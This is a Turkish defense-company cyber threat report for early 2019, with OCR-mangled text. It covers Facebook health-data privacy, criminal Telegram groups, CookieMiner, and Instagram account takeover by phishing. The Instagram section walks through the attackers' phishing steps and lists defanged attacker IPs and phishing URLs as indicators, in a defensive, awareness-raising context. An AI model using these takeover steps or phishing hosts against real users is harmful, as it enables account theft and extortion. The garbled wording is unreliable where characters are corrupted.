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SORUMSUZLUK VE FIKRI MULKIYET HAKKI BEYANI

isbu eserde/internet sitesinde yer alan veriler/bilgiler ticari amagh olmayip tamamen kamuyu bilgilendirmek amaciyla yayimlanan iceriklerdir. Bu eser/
internet sitesinde bulunan veriler/bilgiler tavsiye, reklam ya da is gelistirme amacina yonelik degildir. STM Savunma Teknolojileri Mihendislik ve Ticaret A.S.
isbu eserdef/internet sitesinde sunulan verilerin/bilgilerin igerigi, glincelligi ya da dogrulugu konusunda herhangi bir taahhtide girmemekte, kullanici veya
Ucunci kisilerin bu eserde/internet sitesinde yer alan verilere/bilgilere dayanarak gergeklestirecekleri eylemlerden 6tliri sorumluluk kabul etmemektedir.
Bu eserde/internet sitesinde yer alan bilgilerin her tirlii hakki STM Savunma Teknolojileri Mihendislik ve Ticaret A.S.’ye ve/veya eserde atif yapilan kisi
ve kurumlara aittir. Yazili izin olmaksizin eserde/internet sitesinde yer alan bilgi, yazi, ifadenin bir kismi veya tamami, herhangi bir ortamda hicbir sekilde
yayimlanamaz, ¢ogaltilamaz, igslenemez.
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2019’un ilk ceyreginde adindan soz ettiren siber olaylar;
kisisel verilerin mahremiyeti, sosyal medya, istihbarat
faaliyetleri, zararli yaziimlar, eski ve yeni teknolojilerin
senkronizasyonu konularinda ortaya ¢ikan guvenlik risk-
leriyle ilgiliydi. Ug aylik dénem iginde &ne c¢ikan vakalari
inceleyerek derledigimiz bu raporda ilgili vakalara ait de-
tayli analizler yer aliyor.

Kigisel Verilerin Korunmasi Kanunu (KVKK) ve kullanici
veri paylasimi gibi kisisel verilerin mahremiyetiyle ilgi-
li konular 2019 yilinda da dne ¢ikan guvenlik endiseleri
arasinda yer almaya devam ediyor. Gegtigimiz yillarda
veri ihlali iddialan ve aldigi cezalarla sirekli gindeme
gelen Facebook, bir veri mahremiyeti vakasiyla yeniden
glindemde geldi. Facebook’ta bulunan grup 6zelligi tize-
rinden iletisim kuran kullanicilara ait verilerin ticari amag-
larla kullanildigi iddiasi ayni zamanda 2016 yilindaki
Amerika Birlesik Devletleri (ABD) secimleriyle ilgili olarak
tartisma yaratan “Cambrdige Analytica” vakasini yeni-
den glindeme getirdi. Glivenlik arastirmacilan yaptiklari
analizlerde Facebook tarafindan sunulan grup o6zelligi
sayesinde gruplarda paylasilan kullanici saghk bilgileri-
nin elde edilebildigini kesfetti.

Bilindigi Uzere iletisim ve sosyallesme uygulamalarinda
guvenlik konusu her daim 6n plandadir. Belli bir uygu-
lamanin kullaniminin yayginlasmasi yapilan reklamlara,
ulasilan kitlelere, sunulan hizmetin islevselligine ve su-
nulan servisin gtvenligine bagl olarak artis gdsterir veya
azalir. Sézkonusu bir sohbet uygulamasi oldugu zaman
islevsellik ve guvenlik 6n plana ¢ikiyor. Bu alanda Teleg-
ram isimli sohbet uygulamasi siki glivenlik politikalariyla
dikkat ¢ekiyor. Telegram uygulamasinin sagladigi gtven-
lik seviyesinin pazardaki rakiplerine gére acik ara énde
oldugu siklikla belirtiliyor. Bu husus kullanicilar igin bir
avantaj olarak degerlendiriimekle birlikte uygulamanin
sagladigi gizlilik sayesinde kapall kapilar ardinda birgok
yasadigl aktivitenin mimkin olmasi bir kamu glvenligi
sorununa olanak saglamaktadir. Yapilan analiz ¢alismala-
rinda Telegram’da bulunan gruplarda bir¢ok zararl yazili-
min ve terdrist aktivitenin ylritlldigu glindeme gelmistir.

Sosyal medya platformlari giinlik hayatta sosyallesme-
nin yani sira trend takip edilen, reklam izlenen, alisve-
ris yapilan ve haber alinan araclar olma yolunda hizla
ilerlemektedir. Kullanicilar takipg¢i sayilarini artirmaya
calisirken ticari igletmeler de Urinlerini sosyal medya
Uzerinden kullanicilarin begenisine sunmaktadir. Son
dénemde Instagram kullanici aktivitesi bakimindan en
¢ok 6ne cikan sosyal medya uygulamalarindan olmus-
tur. Dolayisiyla Instagram’daki poptler hesaplara yénelik
siber saldirilar da artis géstermistir. Saldirganlarin oltala-
ma saldirilariyla ele gecirdikleri hesaplardan santaj yapa-
rak para talep ettikleri tespit edilmistir.

Gectigimiz Gc sene icerisinde kripto para birimleri ulas-
tiklan yiksek finansal degerler ile surekli giindeme gel-
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di. Gerek kripto para borsalarina yénelik gerekse kripto
para kazima/tretme slreglerine yonelik birgok saldiri
gergeklesti. Hedef odakli saldirilarin artis gésterdigi son
dénemlerde kripto para borsalar Uzerindeki kullanici
hesaplarini ele gecirmek lzere tasarlanmis bircok za-
rarli tarayici eklentisinin varligi tespit edildi. CookieMiner
isimli zararlinin kullanicilarin hem kripto para borsalarin-
da hem de diger platformlarda kullandi§i oturum acma
bilgilerini ve oturum gerezlerini ele gecirmeye ¢alistigi or-
taya cikti. CookieMiner’in Mac kullanicilarini hedefledigi
belirtilirken zararlinin OSX.DarthMiner isimli zararlyla
olan benzerligi de dikkat ¢ekiyor.

Saldin ve savunma y®ntemlerinin surekli olarak degisip
gelistigi ve gittikge karmasiklastigi bu sirecte yeni tek-
nolojilerin takip edilmesi ve eski teknolojilerin yeni tek-
nolojilerle uyumlu ¢alismasinin saglanmasi kritik neme
sahiptir. israil EL-AL havayolunun rezervasyon sistemin-
de kesfedilen bir zafiyet (izerinden diger misterilerin re-
zervasyonlarina midahale edilebilecegi ortaya ¢ikti. Ayni
sistemin 141 havayolu firmasi tarafindan kullanildiginin
ve saldinlarda kaba kuvvet saldin (brute force) yoéneti-
minin rahatlikla kullanilabileceginin altini ¢izen arastir-
macilar glvenlik ¢ézimlerine yeni nesil énlemlerin da-
hil edilmesi gerektigini vurguluyor. Benzer bir zafiyet de
Avrupall ucak Ureticisi Airbus firmasina ait “Ticari Ugak”
bilgi sistemlerinde kesfedildi.

Yeni nesil siber saldirilar hem yeni gelistirilen teknolojileri
hem de mevcut uygulamalari hedef almaktadir. Dinya-
da milyonlarca kullanicisi olan WIinRAR isimli sikistirma
yazihminda 19 yildir mevcut olan bir zafiyetin varligi kes-
fedildi. ilgili zafiyetin giderilmesi icin gerekli kaynak kod-
larinin bulunmamasi nedeniyle uygulamadaki bazi 6zel-
liklerin devre digl birakilmasi gerekti.

Siber sug 6rgutleri her gegen guin zararl yazihm faaliyet-
leri ile istihbarat aktivitelerini birlikte kullanarak eyleme
gecmektedir. Kiiresel gapta etkin olabilen ve degisik sal-
din cesitlerine basvuran tehdit aktérleri bireysel kullani-
cilar kadar kurumsal kullanicilari da hedef se¢cmektedir.
2018 baglarinda gtindeme gelen GandCrab isimli fidye
zararl yazihmi 2019°’da da yeni sUrimleriyle tehdit olus-
turmaya devam ediyor. Ayni sekilde 2013 yilinda finans
sektdriinde tehdit olusturan FIN7 isimli siber suc 6rgu-
tinan yurattagu oltalama saldin kampanyalarinin devam
ettigi tespit edildi. Hedef odakli saldirilarin bir diger or-
negi Turkiye’deki kullanicilara yonelik olarak giindeme
gelen Teeny Ransomware fidye zararli yazilimi oldu. Bu
zararlinin Petya fidye zararlisiyla benzerlik géstermesi
dikkat gekti.

Kullanim orani bilgisayarlardan daha fazla olan mobil
cihazlar tehdit aktorlerinin yeni hedefi haline gelmis bu-
lunuyor. Guvenilir icerik saglayicilarina ytklenen zararli
yazihmlar kullanicilar igin blyUk risk olusturuyor. Google
Play olarak bilinen uygulama magazasinda bir¢ok zarar-
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I yazihmin bulundugu tespit edildi. Kullanicilarin kripto
cuzdan bilgilerini ele gegirmeyi amaglayan MetaMask
isimli zararli yazilimla, kullanicilarnin kisisel bilgilerini al-
may! hedefleyen ve ilgili cihazi botnet agina dahil eden
Cometbot isimli yazihmin dijital uygulama magazalarin-
da bulundugu tespit edildi. Bankacilik zararlilari ve hedef
odakli oltalama saldirilari gecen yildan bu yana surekli
olarak artis gosteriyor. MetaMask ve Cometbot ile ben-
zer sekilde dijital uygulama magazalarinda bulunan bir
diger zararl uygulama ise bankalarin kurulus yildénim-
leri icin 6zel olarak tasarlanmis ¢ekilis uygulamalar sek-
linde sunulabiliyor ancak gercekte kullanicilarin bankaci-
Ik bilgilerini almayi hedefliyor.

Son dénemde giindeme gelen yeni bir gelisme de Gray-
Key isimli cihazla Apple cihazlarn kilidinin ¢ézilmesi
oldu. Bir diger énemli gelisme de Github depolarinda
bulunan projelere ait gizli anahtarlarin yapilan bir hata
sonucunda bir¢ok hassas verinin uygulama gelistirme
kisminda tum kullanicilara a¢ik hale gelmesine izin ver-
mesi oldu. Benzer sekilde MongoDB’de yapilan bir yapi-
landirma hatasi yUzinden ilgili veritabanlarinin internete
acik hale geldigi ve bunun da Shodan gibi internete bagh
aygit arama motorlarinda tespit edilebilecegdi ortaya ¢ik-
ti. 1oT ve saglk teknolojileri entegrasyonuyla kurulan
MBAN (Medical Body Area Network) kapsaminda hasta
takip sistemlerine ve tedavi cihazlarina yénelik saldirila-
rn tespit eden bir sistem geligtirildi. Saglik alaninda éne
cikan bir diger gelisme ise DNA sentezleme sonrasinda
dijital formatta yazilan verilerin islendigi kiitiphanelerde
zafiyet tespit edilmesi oldu. Tespit edilen zafiyetin sémi-
ralmesiyle ilk DNA sémuUrusundn fiziksel olarak basariyla
sentezlendigi aciklandi.

Bu dénem raporumuzda inceleme konusu olarak STM
Siber Guvenlik Ar-Ge Grubumuzun da Uzerinde calisti-
g1 loT ve saglk teknolojilerinin glivenligi 6zelindeki ge-
lismeleri inceledik. Dénem inceleme konusu olarak ele
aldigimiz “Kablosuz Viicut Alan Aglari icin Saldin Tespit
Sistemi” isimli makalemizi “Dénem inceleme Konusu”
basligi altinda bulabilirsiniz.

Bu kisimda STM Siber Fiizyon Merkezimizdeki analist-
lerinin gerceklestirdigi mevcut veya 6ngorilen siber sal-
diri, zararli yazihm veya sifirinci guin acikliklarina ydnelik
gerceklestirilen tehdit analizlerinin sonuclar anlatiimak-
tadir.

Amerika Birlesik Devletleri Federal Ticaret Komisyonu
Koruma birimine bagli olan Gizlilik ve Kimlik Bolimu ta-
rafindan 14 Aralik 2018 tarihinde Facebook sirketi hak-
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kinda bagslatilan incelemeye gére; Facebook tarafindan
saglanan “Grup” adli hizmeti kullanan kisilerin kigisel
saglik verilerinin toplanarak “Kisisel Saglik Kayitlan”
olarak pazarlandigi ve Facebook kullanicilarinin verdigi
gizlilik kararlarinin aksine paylasimlar yapildigi iddia edil-
mektedir.

Ticaret Komisyonu bu iddialar, ¢ézime kavusturmasi
icin Facebook’a bildirdigini ancak Facebook tarafindan
bu teklifin reddedildigini belirtiyor. Komisyon, Facebo-
ok’un Federal Ticaret Yasasini ihlal ettigini ve kullanici-
larla sirket arasinda adaletsiz bir iliski oldugunu séyltyor.

Facebook’un ABD secimlerinde veri pazarladigi iddiasiy-
la gindeme gelmesine yol agan “Cambridge Analytica”
skandalinin ardindan, Mart 2018’de bir hasta Facebook
Uzerinde hasta mahremiyetiyle ilgili arastirma yapmaya
bagladi. Belirli bir hastaliktan mustarip kigilerin kendi
aralarinda Facebook gruplarn olusturdugunu ve burada
paylasimlar yaptigini gérmesi tGzerine “Grouply.lO” adli
bir Chrome tarayici eklentisi kullanarak kapali veya her-
kese acik Facebook gruplarinin Uye listelerini indirmenin
mUmkin oldugunu kesfetti. Bu konudaki endiselerini de
guvenlik arastirmacisi Fred Trotter’a ulastirdi.

Trotter yaptigi arastirmada, Grouply.lO eklentisini kul-
lanarak bir Facebook grubunun uye listesinde yer alan
yaklasik 10.000’den fazla kisinin bilgilerine ulasabildi.
Gruptaki buttin Uyelerin meme kanseri icin BRCA testi
pozitif olan kisiler oldugunu ve ¢cogunun e-posta adres-
leri, ikamet adresleri ve is verilerini grup icinde paylasti-
gini gorda.

Trotter bunun Uzerine hazirladigi giivenlik acigi raporu-
nu Facebook’a iletti. Yaklasik 10 giin sonra, 20 Haziran
2018’de Facebook guvenlik ekibinden sorunun gizlilik
veya glvenlik ihlali olarak kabul edilemeyecegini bildi-
ren bir e-posta aldi. Ancak Facebook’un grup 6zelliginin
aktif olarak kullaniimasi i¢in yurtttigu ¢abalar incelendi-
ginde Facebook’un gruplar tzerinden kisisel saglik verisi
toplamayi hedefledigi disiunilmektedir. Bu kapsamda;

Facebook tarafindan dizenlenen topluluklar zirvesin-
de “Kapall Forumlar” 6zelligi tanitildi ve alkol bagimli-
lari igin olusturulan “Bagimlilik Destek Grubu” konulu
bir video hazirlandi. Facebook bu topluluk Gyelerine
kimliklerinin anonim olarak tutulacagini bildirdi.

Facebook grup turleri arasinda “Ebeveynler, Proje,
Kultp vb.” farkli gruplar bulunmaktadir.

Mark Zuckerberg kamuya agik bircok konugsmasinda
hastaliklar ve hasta bakimi gibi konularda isbirligi ve
koordinasyon saglanmasi igin gruplarin kullaniimasini
tesvik ettigini agiklamistir.

Subat 2018 tarihinde Facebook “Gruplar ve Toplu-
luklar” baskani Jennifer Dulski, ABC News’a verdigi
réportajda “Bagimlilar icin Facebook destek gruplari-
ni 6zellikle tavsiye ediyoruz” dedi.
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Agustos 2018 tarihinde Facebook, farkll cinsel y6-
nelimleri olan ¢ocuklarin ebeveynleri icin mentorluk
6zelligini destekleyen bir grup olusturdu. Cinsiyet ve
cinsellik, 6zellikle saglkla ilgili tercihleri etkiledigin-
de, kisisel saglik verisi olmaktadir. Ozellikle bu kisisel
saglik verisi gocuk ve genc bireylerle ilgili oldugunda
cok sayida zorballk ve taciz vakasi yasanmaktadir.
Bu nedenle bu gibi gruplardaki kullanici gizliligi en
6énemli glivenlik sorunlarindan biridir.

Facebook, belirli hastaliklarla iliskilendirdigi grup
ozelligini kullanmayan kullanicilarini bu 6zelligi kul-
lanmaya tesvik etmek icin makine 6grenmesi tekno-
lojisini kullanmaktadir. Ayrica Facebook, ticari amac-
lar icin kullanicilarin tanimlanabilir saglik bilgilerini
hedeflemektedir. Ozellikle, reklam verenlerin belirli
klinik kosullaryla ilgilenen kullanicilarla baglantiya
gecmesine izin vermektedir.

........

Placemants

Sekil 1: Belirli bir hastaligi olan bir bireyin ticari amaglar igin hedefli
reklama yoneltilme 6rnegi

o0 &
! L]
.

o

Sekil 2: Saglik durumu icin hedefli reklam 6rnegi

Cok az sayida Facebook kullanicisi, Facebook’un algo-
ritmalarinin nasil calistigini aynntii olarak bildiginden,
kullanicilar saglik bilgilerinin Facebook tarafindan ne 6l-
cude kullanildigini bilmemektedir. Bu da kisisel verilerin
islenmesi ve ticari olarak pazarlanmasiyla ilgili nemli bir
sorun teskil etmektedir.

Asagidaki sekillerde ekran goérintileri toplanan, kullani-
lan ve paylasilan saglik bilgisi érnekleri verilmektedir.
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Sekil 3: Kapall grupta paylasilan cerrahi sonrasi mastektomi
fotografi 6rnegi

—_—m
Wha's Brci
Wy

taking hormones 1o

<, already had masteciomy and ks

7 My dr sasd this is sale and has me on estrogen. What does

REDACTED

Sekil 4: Kapali bir grupta paylasilan klinik rapor

Sonug olarak Facebook, grup ve destek grubu ézelligini
kullanan kullanicilardan kigisel saglik verilerini toplaya-
rak Ucuncu taraf uygulamalarla ve reklam verenlerle bu
bilgileri ve iligkili bilgileri ticari amagla paylasmistir. Fede-
ral Ticaret Komisyonu tarafindan bu sizintilarin iki sekilde
paylasildigi belgelenmigtir:

Grup API’si kullanilarak

Grup Gizlilik ayarlan kullanilarak

* Kullanici verileri kullanici nizasi olmadan anonimlestirilerek ve maske-
leyerek paylasiimistir.
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Raporumuzun bu bélimi Telegram mesajlasma plat-
formunun aynntil glvenlik analizini icermektedir. Te-
legram’in tehdit aktérleri tarafindan nasil kullanildigini
degerlendirmek icin acik kaynak istihbarat calismalari
yapiimis ve guvenlik Ureticilerinin de raporlarindan ya-
rarlaniimigtir. Bu analizin siber su¢ gruplari, 6zellikle de
Brezilyali veya Cinli siber suc aktdrleri tarafindan hedef-
lenen kuruluslar ve yer alti dinyasindaki (underground)
hareketleri izlemek isteyenler icin faydal olacagi deger-
lendirilmektedir.

Siber suclular, yasadigi faaliyetlerinde dark web’e ek
olarak cesitli sohbet uygulamalarindan yararlanmak-
tadir. Bunun nedeni bazi devletlerin internet lzerinde
uyguladiklan kisitlayici ve internette anonim kalmayi
onleyen politikalardir. Tum dinyada kullanicilar, kigisel
bilgisayarlara nazaran mobil cihazlarla daha ¢ok zaman
gecirme egiliminde oldugu icin siber suglular arasinda
populer olan birgok sohbet uygulamasi mobil uygulama-
lardir. Telegram ise hem masalsti hem de mobil islev-
sellige sahip underground forumlarindaki en popliler ve
bilinen mesajlasma uygulamalarindan biridir. Telegram,
veri gizliligi politikasi, glvenli sifreleme ve ¢coklu sohbet
islevi barindiran ve masaustt ve mobil kullanimlari olan
bir uygulamadir. Bu 6zelliklerden dolayr hem normal kul-
lanicilar hem de siber suclular arasinda popiilerdir. Ozel-
likle gectigimiz yakin dénemlerde WhatsApp ve Instag-
ram sunucularinda yasanan hizmet kesintileri nedeniyle,
yalnizca bir giin iginde G¢ milyon kisinin Telegram’a Uye
oldugu bilinmektedir '

2.1. Telegram Hakkinda Onemli Basliklar

Telegram, 2013 yilinda Rus Pavel Durov tarafindan olug-
turulan bulut tabanli bir anlik mesajlasma uygulamasi-
dir. Gekirdek gelistirme ekibi Dubai’dedir. Mart 2018’de
uygulamanin aylik kullanici sayisinin 200 milyonun Uze-
rinde oldugu bilinmektedir. Uygulamanin SSS kisminda,
ana odagl “hiz ve glvenlik” olarak belirtilmistir. Siber
suclular tarafindan kullanilan bagka sohbet uygulamalari
varsa da Telegram bu topluluklar arasinda uzun zaman-
dir poptler olmaya devam ediyor.

Telegram’da glvenlik yiksek oncelikli bir 6zelliktir. Sir-
ketin ayrintil sifreleme politikalarn ve dagitiimis depo-
lama altyapisi nedeniyle, Telegram kullanici ve sohbet
verileri birden fazla llkede glvenli sekilde depolan-
maktadir. Sirket web sitesinde, “Telegram bugline ka-
dar kuruluslar dahil Gglinci taraflara 0 bayt kullanici ve-
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risi agiklamistir” denilmektedir. Telegram’in guvenlik ve
rahathda vurgu yapmasi, uygulamayi hem suclular hem
de asirilik yanlilari igin ¢ekici kilmaktadir. Uygulamanin,
propaganda yapmak, yeni Gyeler bulmak ve saldiri bil-
gilerini paylasmak icin DAES Uyeleri tarafindan yogun
bir sekilde kullanildigi degerlendirilmektedir 2. Ayrica,
Telegram kanallarinda yasadisi i¢erik reklamlar ve bir-
cok dilde kacgakgilik platformlari da bulunmaktadir. Veri
toplamayi olabildigince zorlastirmaya odaklanmasina
ragmen barindirdi§i yasadigi icerikler nedeniyle, Teleg-
ram Rusya da dahil birgok Ulke tarafindan yasaklanma-
ya calisiimigtir.

Ozet olarak Telegram;

Kuruldugundan bu yana underground’da popduler
olan ¢ok amagcl bir sohbet uygulamasidir.

Telegram’in kendine ait givenlik protokoll, ¢ok sa-
yida sohbet secenegi ve kolay kullanilabilir olmasi
populer olmasini saglamis olmakla birlikte glvenlik
arastirmacilarn uygulamada farkll zamanlarda degisik
glvenlik aciklan kesfetmistir.

Telegram kétl amaglh yazilimlarin yayiimasi igin kulla-
nilmis ya da kullanicilari sahte Telegram uygulamalari
tarafindan hedeflenmistir.

Siber suclular yasadigi Urtnlerin dagitimini yapmak,
ilgili internet forumlarindan duyurular géndermek ve
diger suclularla iletisim kurmak icin Telegram grupla-
rini kullanmistir.

Carding Netwaork
QUEM SOLICITOU BOLETO INBOX DA PROMOGCAD E NAD PAGAR
HOJE ATE AS 15:00 DA TARDE PERDE A PROMO

Carding Network

= Conta da Microsoft

Resgatar um coadigo ou cartao-presente
Comprar cartdes-presente Microsoft e Xbox

R$1000,00 disponivel

Compre aplicativos, jogos e muito mais na

Microsoft Store

@

Sekil 5: Telegram gruplarindaki yasadisi Portekizce igerik
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Sekil 6: Telegram gruplarindaki yasadisi Cince icerik

Telegram gruplar 200.000 Uyeye kadar izin vermektedir.
Ozel gruplar uygulama icinde isimlerine gére aranabilir-
ken (t[.Jme/[group username]) bu baglantiya sahip olan
herkes tarafindan da aranabilmektedir. Ozel gruplara
yalnizca yonetici onayli bir davet baglantisina sahip Uye-
ler tarafindan erisilebilir. Bu gruplardaki icerikler blylk
farkliliklar géstermektedir.

Gruplar, buytk olgclide ayni dili konusan veya ayni fo-
ruma Uye olan tehdit aktdérl gruplan tarafindan kulla-
nilmaktadir. Genellikle sizinti verileri, zararli yazilm bu-
lasmis makinelere erisim, barindirma hizmetleri ve diger
yasa disi gevrimicgi hizmetlere iliskin reklamlar Gzerinde
konusma ve tartismalara rastlanmaktadir.
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Sekil 7: Cinli Telegram grubu Uyeleri bankacilik ve kisisel verilerin
satisini konusmaktadir

&9 Andrade Carding
http://telegram.me/crding121

Telegram
E™LEAKS HUB™ TN
Robd ED:

& NETFREE...

February 28

&9 Andrade Carding
Netflix premium 5 telas por apenas 8 reais hoje §a (2

1156 restaumall
Corra e compre antes que acabe

Aceito somente mercado pago

Vendedor: @Severinol ®

Sekil 8: Portekizce Carding kanali reklami

- -
LOLZTEAM

February 21

LOLZTEAM
BpemenHo BrAloumnm 3epkana: lolzteam.org & ooy

Sekil 9: Rusga konusan Lolzteam lyeleri yeni domain adresini
duyurmaktadir

3. Sosyal Medya Platformlarinda Hesap
Givenligi - Instagram

Sosyal medya giinimiziin vazgegilmez araglar arasin-
da yer aliyor. Bazen ginlik paylasim yapmak, bazen
bilgi almak, bazen de aligveris yapmak icin kullanilan
sosyal medya platformlarn kisiler kadar ticari amagl
isletmeler tarafindan da sikga kullaniimaktadir. Yéne-
tilen hesaplarin takipg¢i sayisi ve popiilerligi sosyal
medya kullanicilan kadar saldirganlarin da dikkatini
cekmektedir.

Poptler Instagram hesaplarina yonelik saldirlarin art-
ti@1 goriluyor. Birgok hesap kalici olarak ele gegiriliyor.
Gectigimiz glnlerde bu konu hakkinda bir forum site-

SIBER TEHDIT DURUM RAPORU
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sinde konusulan bir haber incelendiginde sosyal med-
ya hesaplarinin “oltalama” saldir metoduyla ele geci-
rildigi anlasilmaktadir. Ele gegcirilen hesaplarin takipgi
sayilarinin 15 bin ila 70 bin arasinda degisiklik goster-
digi gordltyor.

Saldirganlar ele gegirdikleri hesaplarin sahiplerinden
¢ogu zaman para talep etmektedirler. Ayrica santaj yo-
luyla fotograf ve videolar da talep edildigi gérilmek-
tedir. Saldirganlar, hesap sahiplerini, ele gecirdikleri
hesaptaki verileri silmekle, hassas bilgileri ifsa etmek-
le tehdit etmektedir. Saldirganlarin talepleri karsilansa
dahi ele gecirdikleri hesaplari geri vermedikleri deger-
lendirilmektedir .

3.1. Instagram Hesabi Ele Gegirme
Yoéntemleri

Kurban Arayisi: Saldirganlar énce Instagram’da ke-
sife cikarlar ve popller hesaplar gozlerine kestirip
hedef haline getirirler.

Zafiyetli Hesaplar: Daha 6nce ele gegcirilmis bir he-
sap, Instagram yoénetimi tarafindan kolay askiya ali-
nabilir bir profil niteligindedir. Saldirgan ele gecirdigi
hesabi, hesap sahibinin kurtarma e-postasi almama-
sl igin askiya alrr.

Oltalama: Saldirgan yine Instagrami kullanarak 6n-
celikle “Kurban” hesabinin e-posta adresini elde
eder. Ardindan elde ettigi hedef e-posta adresine Ins-
tagram’dan geliyormuscasina bir “oltalama e-posta-
sI” gdénderir.

Senaryo: E-postanin icerigi tamamen saldirganin
hayal glicliine ve uygulayacagi senaryoya goére de-

Instagum

Instagram Verify Team ®

your account i i S gl i a0 e r it
P s g tions and il out need. Your account is reviewed
Do 12-24 howrs. Then pou will be informed by post (Thank rov festagram fearn)

badge. To obtam

Sekil 10: Oltalama e-postasi
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Sekil 11: Yoénlendirilen sahte sunucu

gisiklik gosterir. Bu senaryoda ise “Instagram Ve-
rify Team” den gdnderilen; kullanicinin Instagram
profiline “Dogrulanmis Rozeti” alabilmesini sagla-
yacak bir e-posta icerigi yer aliyor. Saldirgan olta-
lama e-postasini kurbana flood e-postaler halinde
gonderir ¥,

Bilgilerin Girilmesi: Saldirgan bu noktada kurbanin
e-postayl gbérip agmasini, kisisel bilgilerini girmesini
bekler. Agilan sayfada Dogrulanmis Rozeti alabilmesi
icin kurbandan birtakim bilgiler talep edilir. Saldirgan
kurbandan sadece Instagram hesap bilgilerini girme-
sini degil ayrica e-posta hesabini dogrulamasini da
talep eder.

Bilgileri Degistir: Saldirgan, kurbanin girmis oldugu
tim bilgileri elde ettikten sonra yaptigi ilk islem Ins-
tagram iletisim ve hesap kurtarma bilgilerini degistir-
mektir.

Kalicihk Sagla: Ele gecirdigi hesap saldirgan gru-
bunun hayranlari ve hacktivizm hitap kitlesi tara-
findan takibe alinir. Bunun asil sebebi o hesaptaki
iceriklerin artik hacker grubunun fanlarina yénelik
olmasidir.

Hello Admin System

Hacked

Sekil 12: Ele gegcirilmis Instagram hesabi
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Bu yéntemleri uygulayanlar kalicilidi ve inandiricihgr sag-
lamak icin e-posta adresini ele geciremedikleri Instag-
ram sahiplerine her seyin yolunda oldugunu, 10 gun i¢in-
de mauvi tik alacaklarini, eger oturum agmaya calisirlarsa
islemin iptal edilecegini bildiren e-posta génderirler. Ins-
tagram’in kullanim politikasinda, bilgileri degistiriimis
hesaplarin 10 gln iginde asil sahipleri tarafindan dénus
alinmadigi takdirde kurtarma (revert) e-postasi alamaya-
cag belirtiliyorts.

Saldirganlarnn her gecen giin uyguladiklar teknikleri ve
sosyal muhendislik yeteneklerini gelistirdigi asikardir.
Yukarida uygulanan adimlar sayesinde minimum teknik
bilgiyle maksimum etki elde etmek mUmkin hale gel-
mektedir. Tekniklerini her gecen gln bir adim 6teye ta-
siyan saldirganlarin kullandigi yontemler arasinda “SET
(Social Engineering Toolkit)” © gibi sosyal mihendislik
araclariyla gerceklestirilen saldirilarin gelismis halleri-
ni de gérmekteyiz. Onceleri web tabanli uygulamalarin
oturum sayfasinin klonlanmasiyla gerceklestirilen islem-
lerin, giinlimizde senaryoya bagl olarak ilerletilen sahte
sunucular ve domain adresleriyle giglendirildigi gori-
lGyor. Saldirganlarin gevrimici forumlarda bu yontemler
siklikla konusulmakta ve tartigilmaktadir.

3.2. Saldiri Yontemlerinden Korunmak icin
Neler Yapiimal?

Zincir, en zayif halkasi kadar giclidir! GanimUizde sal-
dirganlar kadar guvenlik arastirmacilar da teknolojile-
rini gelistirmekte ve sistemleri glvenilir hale getirmeyi
amagclamaktadir. Gelisen teknolojiyle birlikte sistemlerin
glvenligi onu y6neten insanlarin biling diizeyiyle dogru
orantihdir. Teknolojiyi kullanmak, beraberinde bazi so-
rumluluklar getirir; onu kontrol etmek, sinirlarini bilmek
ve en dnemlisi korumak. Oncelikli olarak teknolojiyi kul-
lanan her bireyin bilin¢li olmasi gerekir.

Bu saldir ydéntemini ele almak gerekirse tamamen insan
odakl gergeklestigini unutmamak gerekir. Saldirganlar
bu senaryoda Instagram tarafindan satin alinmis gergek
gibi goriinen alan adi (domain) ile hedefe yaklagsmak-
tadir. “Instagram Verify Team” Instagram kullanicilarina
“Dogrulanmis Profil Rozeti” igcin e-posta gdnderme-
mektedir. Sadece kullanicilar bagvuru yapar ve Instag-
ram’in yanit e-postasinda hesap bilgilerinin girilmesi
talep edilmez.

Saldirganlarin  kullandigi ifadeler genellikle imla ve
noktalama hatalan igeri igerir. Bu hususta Facebook,
Instagram, Twitter vb. kurumsal sosyal platformlardan
gelen e-posta iceriklerinde noktalama ve imla yanlhslari
olmayacagi dikkate alinmalidir ¥\,

Bu 6rnekteki gorsel 4’e dikkatlice baktigimizda baslik
kisminda «Instagram Verify Team» blyuk «|» harfiyle
yazilmistir, o nedenle siphe uyandirmalidir.
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Sekil 13: Sahte uygulamada yapilan imla hatasi

Bir diger teknik énlem ise “Spam e-mail Protection”
hizmeti veren bir glvenlik yazihmi kullanmaktir.

Gelen e-postalarin génderici adresi kontrol edilmeli-
dir. Glvenilir gériinmeyen bir e-posta igindeki linklere
tiklanmamalidir.

E-posta giris kontrolline 2FA (Two Factor Authentica-
tion) dogrulama mekanizmasi eklenmeli, Instagram
hesap ayarlarinda telefon ve e-posta bilgileri gtincel
tutulmali, her iki hesap igin (e-posta, Instagram) de
acik oturumlar kontrol edilmelidir. Size ait olmayan
cihaz oturumlarindan ¢ikmalisiniz.

Bu yéntemleri uyguladigimiz takdirde Instagram hesabi-
miz saldirganlar tarafindan ele gegirilse bile, yapilan de-
gisiklikleri bizim yapip yapmadigimizi soran ve onaylama
isteyen bir e-posta (revert e-posta) alirz.

3.3. Tespit Edilen Saldirganlarin IP Adresleri
185[.]27[.]134[]212
104[.]24[.]119[.]10
2606[:]4700[:]30[::]6818[:]760a
2607[:]f8b0[:]4864[:]20[::]243

3.4. Saldirganlarin Kullanmig Olduklari
Oltalama Adresleri

hxxps://2no[.Jco/2WPr35
hxxps://confirm[-]service[.]tk
hxxp://instagrambluetick[.]mI/?i=1
hxxp://instagrambluetick[.Jml/e-mailconfirmation[.Jphp
hxxp://instagrambluetick[.Jml/confirmed][.]Jphp
hxxps://Instagram[.]derainbow/[.]es
hxxp://urlkisaltmal[.Jcom/27rjN
hxxp://urlkisaltmal.]Jcom/farESH
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Bu kisimda, klresel ¢capta ses getiren siber saldir va-
kalarina ait detaylar sebep-sonu¢ cercevesinde incelen-
mektedir.

Guvenlik uzmanlar Ocak 2019’da insanlarn kripto para
degisim hesaplarindan para ¢cekmek icin web tarayici
cerezlerini ve kimlik bilgilerini ¢alan yeni bir zararl yazi-
m konusunda uyarida bulundu.

Kripto parayla ilgili cerezleri calma kabiliyetinden dolayi
“CookieMiner” olarak adlandirilan zararh yaziimin, 6zel-
likle Mac kullanicilarini hedef alacak sekilde tasarlandigi
ve Aralik 2018’de tespit edilen bagka bir Mac zararli ya-
zihmi olan DarthMiner’dan yola ¢ikilarak olusturuldugu
dusunulayor.

CookieMiner, gizliligi ifsa edilmis kimlik bilgilerine ilave
olarak kripto para birimiyle ilgili gerezleri toplamakta ve
bunlari, kripto para birimlerinin diger varliklar i¢in (diger
dijital para birimleri de dahil olmak lzere) islem gérdigu
borsalar hedef almak icin kullanmaktadir.

